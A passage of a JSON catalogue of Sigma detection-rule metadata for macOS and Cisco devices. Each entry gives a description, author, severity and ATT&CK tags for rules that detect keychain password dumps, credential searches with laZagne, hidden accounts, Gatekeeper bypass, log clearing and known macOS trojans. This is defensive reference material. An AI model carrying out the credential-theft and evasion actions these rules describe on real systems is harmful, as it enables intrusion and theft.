oscd.community", - "creation_date": "2020/10/11", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_macos_clear_system_logs.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_clear_system_logs.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.002" - ] - }, - "uuid": "acf61bd8-d814-4272-81f0-a7a269aa69aa", - "value": "Indicator Removal on Host - Clear Mac System Logs" - }, - { - "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", - "meta": { - "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/06", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_macos_create_account.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_account.yml" - ], - "tags": [ - "attack.t1136.001", - "attack.persistence" - ] - }, - "uuid": "51719bf5-e4fd-4e44-8ba8-b830e7ac0731", - "value": "Creation Of A Local User Account" - }, - { - "description": "Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/10", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_macos_create_hidden_account.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.002/T1564.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_hidden_account.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.002" - ] - }, - "uuid": "b22a5b36-2431-493a-8be1-0bae56c28ef3", - "value": "Hidden User Creation" - }, - { - "description": "Detects passwords dumps from Keychain", - "meta": { - "author": "Tim Ismilyaev, oscd.community, Florian Roth", - "creation_date": "2020/10/19", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_macos_creds_from_keychain.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml", - "https://gist.github.com/Capybara/6228955" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.001" - ] - }, - "uuid": "b120b587-a4c2-4b94-875d-99c9807d6955", - "value": "Credentials from Password Stores - Keychain" - }, - { - "description": "Detects disabling security tools", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Legitimate activities" - ], - "filename": "proc_creation_macos_disable_security_tools.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "ff39f1a6-84ac-476f-a1af-37fcdf53d7c0", - "value": "Disable Security Tools" - }, - { - "description": "Detects usage of system utilities to discover files and directories", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Legitimate activities" - ], - "filename": "proc_creation_macos_file_and_directory_discovery.yml", - "level": "informational", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_file_and_directory_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ] - }, - "uuid": "089dbdf6-b960-4bcc-90e3-ffc3480c20f6", - "value": "File and Directory Discovery" - }, - { - "description": "Detecting attempts to extract passwords with grep and laZagne", - "meta": { - "author": "Igor Fits, Mikhail Larin, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_macos_find_cred_in_files.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_find_cred_in_files.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001" - ] - }, - "uuid": "53b1b378-9b06-4992-b972-dde6e423d2b4", - "value": "Credentials In Files" - }, - { - "description": "Detects attempts to use system dialog prompts to capture user credentials", - "meta": { - "author": "remotephone, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Legitimate administration tools and activities" - ], - "filename": "proc_creation_macos_gui_input_capture.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml", - "https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/" - ], - "tags": [ - "attack.credential_access", - "attack.t1056.002" - ] - }, - "uuid": "60f1ce20-484e-41bd-85f4-ac4afec2c541", - "value": "GUI Input Capture - macOS" - }, - { - "description": "Detects enumeration of local systeam accounts on MacOS", - "meta": { - "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/08", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_macos_local_account.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_account.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md" - ], - "tags": [ - "attack.discovery", - "attack.t1087.001" - ] - }, - "uuid": "ddf36b67-e872-4507-ab2e-46bda21b842c", - "value": "Local System Accounts Discovery" - }, - { - "description": "Detects enumeration of local system groups", - "meta": { - "author": "Ömer Günal, Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/11", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_macos_local_groups.yml", - "level": "informational", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_groups.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ] - }, - "uuid": "89bb1f97-c7b9-40e8-b52b-7d6afbd67276", - "value": "Local Groups Discovery" - }, - { - "description": "Detects enumeration of local or remote network services.", - "meta": { - "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/21", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_macos_network_service_scanning.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_service_scanning.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ] - }, - "uuid": "84bae5d4-b518-4ae0-b331-6d4afd34d00f", - "value": "MacOS Network Service Scanning" - }, - { - "description": "Detects the usage of tooling to sniff network traffic.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", - "meta": { - "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/14", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_macos_network_sniffing.yml", - "level": "informational", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_sniffing.yml" - ], - "tags": [ - "attack.discovery", - "attack.credential_access", - "attack.t1040" - ] - }, - "uuid": "adc9bcc4-c39c-4f6b-a711-1884017bf043", - "value": "Network Sniffing" - }, - { - "description": "Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.", - "meta": { - "author": "Tim Rauch (rule), Elastic (idea)", - "creation_date": "2022/10/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_macos_payload_decoded_and_decrypted.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d42c3d772e04f1e8d0eb60f5233bc79def1ea73105a2d8822f44164f77ef823", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_payload_decoded_and_decrypted.yml" - ], - "tags": [ - "attack.t1059", - "attack.t1204", - "attack.execution", - "attack.t1140", - "attack.defense_evasion", - "attack.s0482", - "attack.s0402" - ] - }, - "uuid": "234dc5df-40b5-49d1-bf53-0d44ce778eca", - "value": "Payload Decoded and Decrypted via Built-in Utilities" - }, - { - "description": "Detects the enumeration of other remote systems.", - "meta": { - "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/22", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_macos_remote_system_discovery.yml", - "level": "informational", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_remote_system_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1018" - ] - }, - "uuid": "10227522-8429-47e6-a301-f2b2d014e7ad", - "value": "Macos Remote System Discovery" - }, - { - "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", - "meta": { - "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/06", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_macos_schedule_task_job_cron.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_schedule_task_job_cron.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1053.003" - ] - }, - "uuid": "7c3b43d8-d794-47d2-800a-d277715aa460", - "value": "Scheduled Cron Task/Job" - }, - { - "description": "Detects attempts to use screencapture to collect macOS screenshots", - "meta": { - "author": "remotephone, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Legitimate user activity taking screenshots" - ], - "filename": "proc_creation_macos_screencapture.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_screencapture.yml", - "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py" - ], - "tags": [ - "attack.collection", - "attack.t1113" - ] - }, - "uuid": "0877ed01-da46-4c49-8476-d49cdd80dfa7", - "value": "Screen Capture - macOS" - }, - { - "description": "Detects usage of system utilities (only grep for now) to discover security software discovery", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Legitimate activities" - ], - "filename": "proc_creation_macos_security_software_discovery.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_security_software_discovery.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md" - ], - "tags": [ - "attack.discovery", - "attack.t1518.001" - ] - }, - "uuid": "0ed75b9c-c73b-424d-9e7d-496cd565fbe0", - "value": "Security Software Discovery" - }, - { - "description": "Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.", - "meta": { - "author": "remotephone", - "creation_date": "2021/11/20", - "falsepositive": [ - "Mistyped commands or legitimate binaries named to match the pattern" - ], - "filename": "proc_creation_macos_space_after_filename.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.006/T1036.006.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_space_after_filename.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.006" - ] - }, - "uuid": "b6e2a2e3-2d30-43b1-a4ea-071e36595690", - "value": "Space After Filename - macOS" - }, - { - "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", - "meta": { - "author": "Igor Fits, Mikhail Larin, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Legitimate administrative activity" - ], - "filename": "proc_creation_macos_split_file_into_pieces.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_split_file_into_pieces.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1030" - ] - }, - "uuid": "7f2bb9d5-6395-4de5-969c-70c11fbe6b12", - "value": "Split A File Into Pieces" - }, - { - "description": "Detects when the macOS Script Editor utility spawns an unusual child process.", - "meta": { - "author": "Tim Rauch (rule), Elastic (idea)", - "creation_date": "2022/10/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_macos_susp_execution_macos_script_editor.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml", - "https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/" - ], - "tags": [ - "attack.t1566", - "attack.t1566.002", - "attack.initial_access", - "attack.t1059", - "attack.t1059.002", - "attack.t1204", - "attack.t1204.001", - "attack.execution", - "attack.persistence", - "attack.t1553", - "attack.defense_evasion" - ] - }, - "uuid": "6e4dcdd1-e48b-42f7-b2d8-3b413fc58cb4", - "value": "Suspicious Exeution via macOS Script Editor" - }, - { - "description": "Detects commandline operations on shell history files", - "meta": { - "author": "Mikhail Larin, oscd.community", - "creation_date": "2020/10/17", - "falsepositive": [ - "Legitimate administrative activity", - "Legitimate software, cleaning hist file" - ], - "filename": "proc_creation_macos_susp_histfile_operations.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_histfile_operations.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.003" - ] - }, - "uuid": "508a9374-ad52-4789-b568-fc358def2c65", - "value": "Suspicious History File Operations" - }, - { - "description": "Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/30", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_macos_susp_macos_firmware_activity.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web", - "https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_macos_firmware_activity.yml", - "https://www.manpagez.com/man/8/firmwarepasswd/" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "7ed2c9f7-c59d-4c82-a7e2-f859aa676099", - "value": "Suspicious MacOS Firmware Activity" - }, - { - "description": "Detects usage of system utilities to discover system network connections", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Legitimate activities" - ], - "filename": "proc_creation_macos_system_network_connections_discovery.yml", - "level": "informational", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1049" - ] - }, - "uuid": "9a7a0393-2144-4626-9bf1-7c2f5a7321db", - "value": "System Network Connections Discovery" - }, - { - "description": "Detects enumeration of local network configuration", - "meta": { - "author": "remotephone, oscd.community", - "creation_date": "2020/10/06", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_macos_system_network_discovery.yml", - "level": "informational", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1016" - ] - }, - "uuid": "58800443-f9fc-4d55-ae0c-98a3966dfb97", - "value": "System Network Discovery - macOS" - }, - { - "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", - "meta": { - "author": "Igor Fits, Mikhail Larin, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Legitimate administrative activity" - ], - "filename": "proc_creation_macos_system_shutdown_reboot.yml", - "level": "informational", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_shutdown_reboot.yml" - ], - "tags": [ - "attack.impact", - "attack.t1529" - ] - }, - "uuid": "40b1fbe2-18ea-4ee7-be47-0294285811de", - "value": "System Shutdown/Reboot" - }, - { - "description": "Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.", - "meta": { - "author": "Tim Rauch (rule), Elastic (idea)", - "creation_date": "2022/10/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_macos_wizardupdate_malware_infection.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_wizardupdate_malware_infection.yml", - "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/", - "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97" - ], - "tags": [ - "attack.command_and_control" - ] - }, - "uuid": "f68c4a4f-19ef-4817-952c-50dce331f4b0", - "value": "Potential WizardUpdate Malware Infection" - }, - { - "description": "Detects macOS Gatekeeper bypass via xattr utility", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Legitimate activities" - ], - "filename": "proc_creation_macos_xattr_gatekeeper_bypass.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.001/T1553.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.001" - ] - }, - "uuid": "f5141b6d-9f42-41c6-a7bf-2a780678b29b", - "value": "Gatekeeper Bypass via Xattr" - }, - { - "description": "Identifies the execution traces of the XCSSET malware. XCSSET is a macOS trojan that primarily spreads via Xcode projects and maliciously modifies applications. Infected users are also vulnerable to having their credentials, accounts, and other vital data stolen.", - "meta": { - "author": "Tim Rauch (rule), Elastic (idea)", - "creation_date": "2022/10/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_macos_xcsset_malware_infection.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "macos", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xcsset_malware_infection.yml", - "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08" - ], - "tags": [ - "attack.command_and_control" - ] - }, - "uuid": "47d65ac0-c06f-4ba2-a2e3-d263139d0f51", - "value": "Potential XCSSET Malware Infection" - }, - { - "description": "Clear command history in network OS which is used for defense evasion", - "meta": { - "author": "Austin Clark", - "creation_date": "2019/08/12", - "falsepositive": [ - "Legitimate administrators may run these commands" - ], - "filename": "cisco_cli_clear_logs.yml", - "level": "high", - "logsource.category": "accounting", - "logsource.product": "cisco", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_clear_logs.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.003" - ] - }, - "uuid": "ceb407f6-8277-439b-951f-e4210e3ed956", - "value": "Cisco Clear Logs" - }, - { - "description": "Collect pertinent data from the configuration files", - "meta": { - "author": "Austin Clark", - "creation_date": "2019/08/11", - "falsepositive": [ - "Commonly run by administrators" - ], - "filename": "cisco_cli_collect_data.yml", - "level": "low", - "logsource.category": "accounting", - "logsource.product": "cisco", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_collect_data.yml" - ], - "tags": [ - "attack.discovery", - "attack.credential_access", - "attack.collection", - "attack.t1087.001", - "attack.t1552.001", - "attack.t1005" - ] - }, - "uuid": "cd072b25-a418-4f98-8ebc-5093fb38fe1a", - "value": "Cisco Collect Data" - }, - { - "description": "Show when private keys are being exported from the device, or when new certificates are installed", - "meta": { - "author": "Austin Clark", - "creation_date": "2019/08/12", - "falsepositive": [ - "Not commonly run by administrators. Also whitelist your known good certificates" - ], - "filename": "cisco_cli_crypto_actions.yml", - "level": "high", - "logsource.category": "accounting", - "logsource.product": "cisco", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_crypto_actions.yml" - ], - "tags": [ - "attack.credential_access", - "attack.defense_evasion", - "attack.t1553.004", - "attack.t1552.004" - ] - }, - "uuid": "1f978c6a-4415-47fb-aca5-736a44d7ca3d", - "value": "Cisco Crypto Commands" - }, - { - "description": "Turn off logging locally or remote", - "meta": { - "author": "Austin Clark", - "creation_date": "2019/08/11", - "falsepositive": [ - "Unknown" - ], - "filename": "cisco_cli_disable_logging.yml", - "level": "high", - "logsource.category": "accounting", - "logsource.product": "cisco", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_disable_logging.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "9e8f6035-88bf-4a63-96b6-b17c0508257e", - "value": "Cisco Disabling Logging" - }, - { - "description": "Find information about network devices that is not stored in config files", - "meta": { - "author": "Austin Clark", - "creation_date": "2019/08/12", - "falsepositive": [ - "Commonly used by administrators for troubleshooting" - ], - "filename": "cisco_cli_discovery.yml", - "level": "low", - "logsource.category": "accounting", - "logsource.product": "cisco", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1083", - "attack.t1201", - "attack.t1057", - "attack.t1018", - "attack.t1082", - "attack.t1016", - "attack.t1049", - "attack.t1033", - "attack.t1124" - ] - }, - "uuid": "9705a6a1-6db6-4a16-a987-15b7151e299b", - "value": "Cisco Discovery" - }, - { - "description": "Detect a system being shutdown or put into different boot mode", - "meta": { - "author": "Austin Clark", - "creation_date": "2019/08/15", - "falsepositive": [ - "Legitimate administrators may run these commands, though rarely." - ], - "filename": "cisco_cli_dos.yml", - "level": "medium", - "logsource.category": "accounting", - "logsource.product": "cisco", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_dos.yml" - ], - "tags": [ - "attack.impact", - "attack.t1495", - "attack.t1529", - "attack.t1565.001" - ] - }, - "uuid": "d94a35f0-7a29-45f6-90a0-80df6159967c", - "value": "Cisco Denial of Service" - }, - { - "description": "See what files are being deleted from flash file systems", - "meta": { - "author": "Austin Clark", - "creation_date": "2019/08/12", - "falsepositive": [ - "Will be used sometimes by admins to clean up local flash space" - ], - "filename": "cisco_cli_file_deletion.yml", - "level": "medium", - "logsource.category": "accounting", - "logsource.product": "cisco", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_file_deletion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.impact", - "attack.t1070.004", - "attack.t1561.001", - "attack.t1561.002" - ] - }, - "uuid": "71d65515-c436-43c0-841b-236b1f32c21e", - "value": "Cisco File Deletion" - }, - { - "description": "See what commands are being input into the device by other people, full credentials can be in the history", - "meta": { - "author": "Austin Clark", - "creation_date": "2019/08/11", - "falsepositive": [ - "Not commonly run by administrators, especially if remote logging is configured" - ], - "filename": "cisco_cli_input_capture.yml", - "level": "medium", - "logsource.category": "accounting", - "logsource.product": "cisco", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_input_capture.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.003" - ] - }, - "uuid": "b094d9fb-b1ad-4650-9f1a-fb7be9f1d34b", - "value": "Cisco Show Commands Input" - }, - { - "description": "Find local accounts being created or modified as well as remote authentication configurations", - "meta": { - "author": "Austin Clark", - "creation_date": "2019/08/12", - "falsepositive": [ - "When remote authentication is in place, this should not change often" - ], - "filename": "cisco_cli_local_accounts.yml", - "level": "high", - "logsource.category": "accounting", - "logsource.product": "cisco", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_local_accounts.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001", - "attack.t1098" - ] - }, - "uuid": "6d844f0f-1c18-41af-8f19-33e7654edfc3", - "value": "Cisco Local Accounts" - }, - { - "description": "Modifications to a config that will serve an adversary's impacts or persistence", - "meta": { - "author": "Austin Clark", - "creation_date": "2019/08/12", - "falsepositive": [ - "Legitimate administrators may run these commands" - ], - "filename": "cisco_cli_modify_config.yml", - "level": "medium", - "logsource.category": "accounting", - "logsource.product": "cisco", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_modify_config.yml" - ], - "tags": [ - "attack.persistence", - "attack.impact", - "attack.t1490", - "attack.t1505", - "attack.t1565.002", - "attack.t1053" - ] - }, - "uuid": "671ffc77-50a7-464f-9e3d-9ea2b493b26b", - "value": "Cisco Modify Configuration" - }, - { - "description": "Various protocols maybe used to put data on the device for exfil or infil", - "meta": { - "author": "Austin Clark", - "creation_date": "2019/08/12", - "falsepositive": [ - "Generally used to copy configs or IOS images" - ], - "filename": "cisco_cli_moving_data.yml", - "level": "low", - 